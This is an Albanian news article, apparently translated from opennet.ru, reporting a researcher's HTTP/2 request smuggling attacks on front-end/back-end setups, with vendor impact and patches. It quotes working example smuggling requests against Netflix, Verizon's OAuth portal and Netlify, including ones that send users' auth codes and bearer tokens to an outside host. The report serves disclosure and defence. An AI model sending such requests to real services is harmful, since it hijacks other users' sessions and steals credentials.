Sistemet web, në të cilat fronti merr lidhje përmes HTTP/2 dhe i dërgon prapavijës përmes HTTP/1.1, janë të prekshme nga një variant i ri i sulmit "HTTP Request Smuggling", i cili lejon që përmes dërgimit të kërkesave të veçanta të klienteve të ndërhyhet në përmbajtjen e kërkesave të përdoruesve të tjerë që përpunohen në të njëjtin rrjedh midis frontit dhe prapavijës. Sulmi mund të përdoret për të futur kod të dëmshëm JavaScript në një seancë me një faqe legjitime, për të shmangur sistemet e kufizimit të aksesit dhe për të kapur parametrat e autentifikimit.
Problemi prek web-proksitë, balancuesit e ngarkesës, web-acceleratorët, sistemet e shpërndarjes së përmbajtjes dhe konfigurime të tjera, ku kërkesat redirigjohen sipas modeli front-prapavi. Autori i studimit demonstroi mundësinë e sulmit ndaj sistemeve të Netflix, Verizon, Bitbucket, Netlify CDN dhe Atlassian, dhe mori 56 mijë dollarë në programet e shpërblimeve për zbuluar dobësitë. Prania e problemit është gjithashtu e konfirmuar në produktet F5 Networks. Problemi prek pjesërisht mod_proxy në serverin http Apache (CVE-2021-33193), dhe riparimet priten në versionin 2.4.49 (dezvoltuesit u njoftuan për problemin në fillim të majit dhe morën 3 muaj për ta zgjidhur). Në nginx, mundësia e caktimit të menjëhershëm të titujve "Content-Length" dhe "Transfer-Encoding" u bllokua në lëshimin e fundit (1.21.1). Mjetet për të kryer sulmet janë tashmë të shtuar në mënyrën e punës Burp dhe janë në dispozicion në formën e një zgjatjeje Turbo Intruder.
Parimi i funksionimit të metodës së re të injektimit të kërkesave në trafik është i ngjashëm me dobësinë e zbuluar nga i njëjti hulumtues dy vjet më parë, por e kufizuar në frontet që pranojnë kërkesa përmes HTTP/1.1. Shqetësimi është se në skemën front-prapavi, kërkesat e klientëve priten nga një nyje shtesë — fronti, i cili vendos një lidhje TCP afatgjatë me prapavijën, që kryen përpunimin drejtpërdrejt të kërkesave. Përmes kësaj lidhjeje të përbashkët zakonisht kalojnë kërkesat e përdoruesve të ndryshëm, të cilat ndjekin njëra-tjetrën me ndarje përmes mjeteve të protokollit HTTP.
Sulmi klasik ‘HTTP Request Smuggling’ bazohet në atë që frontendet dhe backendet e interpretojnë ndryshe përdorimin e titujve HTTP ‘Content-Length’ (përcakton madhësinë totale të të dhënave në kërkesë) dhe ‘Transfer-Encoding: chunked’ (lejon që të dhënat të dërgohen në copa). Për shembull, nëse frontend-i mbështet vetëm ‘Content-Length’, por injoron ‘Transfer-Encoding: chunked’, atëherë një sulmues mund të dërgojë një kërkesë, në të cilën janë të pranishme njëkohësisht titujt ‘Content-Length’ dhe ‘Transfer-Encoding: chunked’, por madhësia në ‘Content-Length’ nuk përputhet me madhësinë e zinxhirit chunked. Në këtë rast, frontend-i do ta përpunojë dhe do ta ridrejtojë kërkesën në përputhje me ‘Content-Length’, ndërsa backend-i do të presë përfundimin e bllokut në bazë të ‘Transfer-Encoding: chunked’ dhe pjesa e mbetur e kërkesës së sulmuesit do të ndodhet në fillim të një kërkese tjetër të huaj që u dërgua pas tij.
Ndryshe nga protokolli tekstual HTTP/1.1, analiza e të cilit bëhet në nivelin e rreshtave, HTTP/2 është një protokoll binar dhe manipulot me blloqe të dhënash me madhësi të caktuar paraprakisht. Në të njëjtën kohë, në HTTP/2 përdoren pseudo-tituj, të cilët korrespondohen me titujt e zakonshëm HTTP. Në rastin e ndërveprimit me backend-in nëpërmjet protokollit HTTP/1.1, frontend-i i përkthen këta pseudo-tituj në tituj të ngjashëm HTTP/1.1. Problemi është se backend-i merr vendime për analizën e fluksit në bazë të titujve HTTP të vendosur nga frontend-i, pa pasur informacion mbi parametrat e kërkesës origjinale.
Po ashtu, në formën e pseudo-titujve mund të dërgohen vlera ‘content-length’ dhe ‘transfer-encoding’, megjithëse në HTTP/2 ato nuk përdoren, pasi madhësia e të gjitha të dhënave përcaktohet në një fushë të veçantë. Megjithatë, gjatë procesit të konvertimit të kërkesës HTTP/2 në HTTP/1.1, këta tituj transferohen dhe mund të çojnë në keqkuptime për backend-in. Stakohen dy variante kryesore të sulmit: H2.TE dhe H2.CL, në të cilat backend-i gënjehet nga një vlerë të papërshtatshme të transfer-encoding ose content-length, e cila nuk përputhet me madhësinë reale të trupit të kërkesës që ka ardhur në frontend përmes protokollit HTTP/2.

Si për shembull i sulmit H2.CL përmendet përcaktimi i madhësisë së gabuar në pseudo-headerin content-length kur dërgohet një kërkesë HTTP/2 në Netflix. Kjo kërkesë çon në shtimin e një headeri të ngjashëm HTTP Content-Length kur i qaset backend-it përmes HTTP/1.1, por pasi madhësia në Content-Length është e caktuar më e vogël se e vërteta, pjesa e të dhënave në fund trajtohet si fillim i një kërkese tjetër.
Për shembull, kërkesa HTTP/2 :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Kjo do të çojë në dërgimin e një kërkese backend-it: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar
Duke qenë se Content-Length ka vlerën 4, backend-i do ta perceptojë si trup të kërkesës vetëm "abcd", dhe pjesa tjetër "GET /n HTTP/1.1..." do të trajtohet si fillim i një kërkese që vjen pas, e lidhur me një përdorues tjetër. Si rezultat, do të ndodhë një çarjë e rrjedhës dhe në përgjigjen për kërkesën e mëpasshme do të jepet rezultati i përpunimit të kërkesës të ndriçuar. Në rastin e Netflix, specifikimi i një hosti të tretë në headerin "Host:" në kërkesën e ndriçuar çoi në daljen e një përgjigjeje për klientin "Location: https://02.rs?x.netflix.com/n" dhe lejonte dërgimin e përmbajtjes arbitrare, duke përfshirë ekzekutimin e kodit tuaj JavaScript në kontekstin e sitit Netflix.
Variant i dytë i sulmit (H2.TE) lidhet me nënzëvendësimin e headerit "Transfer-Encoding: chunked". Përdorimi i pseudo-headerit transfer-encoding në HTTP/2 është i ndaluar nga specifikimi dhe kërkesat me të duhet të trajtohen si të gabuara. Megjithatë, disa implementime të front-end-ve nuk e marrin parasysh këtë kërkesë dhe lejojnë përdorimin e pseudo-headerit transfer-encoding në HTTP/2, i cili konvertohet në një header të ngjashëm HTTP. Në rastin e të qenit header "Transfer-Encoding" backend-i mund ta perceptojë atë si më prioritar dhe të kryejë analizimin e të dhënave në pjesë në modin "chunked" duke përdorur blloque të madhësive të ndryshme në formatin "{madhësia}\r\n{bloku}\r\n{madhësia}\r\n{bloku}\r\n0", pavarësisht ndarjes fillestare sipas madhësisë së përgjithshme.
Prania e një glli të tillë u demonstruar në shembullin e kompanisë Verizon. Në këtë rast, problemi prekte portalin e autentikimit dhe sistemi i menaxhimit të përmbajtjes, i cili gjithashtu përdoret në site si Huffington Post dhe Engadget. Për shembull, kërkesa e klientit për HTTP/2: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="
Shkaktoi dërgimin e një kërkese HTTP/1.1 te backend: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x=
Backend-i, nga ana tjetër, injoroi header-in «Content-Length» dhe e realizoi ndarjen në rrjedhë bazuar në «Transfer-Encoding: chunked». Në praktikë, sulmi lejoj një redirektim të kërkesave të përdoruesve në faqen e tij dhe përfshirë kapjen e kërkesave që lidhen me autentikimin OAuth, parametrat e të cilave shfaqeshin në header-in Referer, si dhe simulohej një seancë autentikimi dhe iniciohej dërgimi nga sistemi i përdoruesit të akreditimeve te host-i sulmues. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…
Për sulmin në implementimet HTTP/2, që nuk lejojnë përcaktimin e pseudohaderit transfer-encoding, ishte propozuar një metodë tjetër, e lidhur me zëvendësimin e header-it «Transfer-Encoding» përmes bashkimit të tij me pseudohaderë të tjerë duke u ndarë me karakterin e shndërrimit në vijë (pedikat për HTTP/1.1 në një rast të tillë krijon dy header-at e veçantë HTTP).
Për shembuj, problemit të përmendur i janë nënshtruar Atlassian Jira dhe Netlify CDN (në përdorim për ofrimin e faqeve të para të Mozilla në Firefox). Në veçanti, kërkesa HTTP/2 :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
shkaktoi dërgimin e backend-it të kërkesës HTTP/1.1 POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x=
Një variant tjetër i zëvendësimit të header-it «Transfer-Encoding» ishte bashkimi i tij me emrin e pseudohaderit tjetër ose me rreshtin e metodës së kërkesës. Për shembull, kur është i lidhur me Atlassian Jira, emri i pseudohaderit «foo: bar\r\ntransfer-encoding» me vlerën «chunked» shkaktonte që të shtoheshin header-at HTTP «foo: bar» dhe «transfer-encoding: chunked», ndërsa përcaktimi në pseudohaderin «:method» me vlerën «GET / HTTP/1.1\r\nTransfer-encoding: chunked» shndërrohej në «GET / HTTP/1.1\r\ntransfer-encoding: chunked».
Hulumtuesi që identifikoi problemin gjithashtu propozoi një teknikë tunelimi të kërkesave për të realizuar sulmin në frontendet ku për çdo Adresa IP caktohet një lidhje e veçantë me backend-in dhe trafiku i përdoruesve të ndryshëm nuk përzihet. Teknikat e propozuara nuk lejojnë ndërhyrjen në kërkesat e përdoruesve të tjerë, por ofrojnë mundësinë e dërgimit të një cache të përbashkët që ndikon në përpunimin e kërkesave të tjera dhe lejojnë zëvendësimin e titujve të brendshëm HTTP, që përdoren për të transferuar informacionin operativ nga frontend-i te backend-i (për shembull, gjatë autentifikimit në anën e frontend-it, në këto tituj mund të transferohen të dhëna mbi përdoruesin aktual nga backend-i). Si një shembull të aplikimit të metodës në praktikë, me ndihmën e dërgimit të cache-it arritëm të merrnim kontrollin mbi faqet në shërbimin Bitbucket.
Burimi: opennet.ru
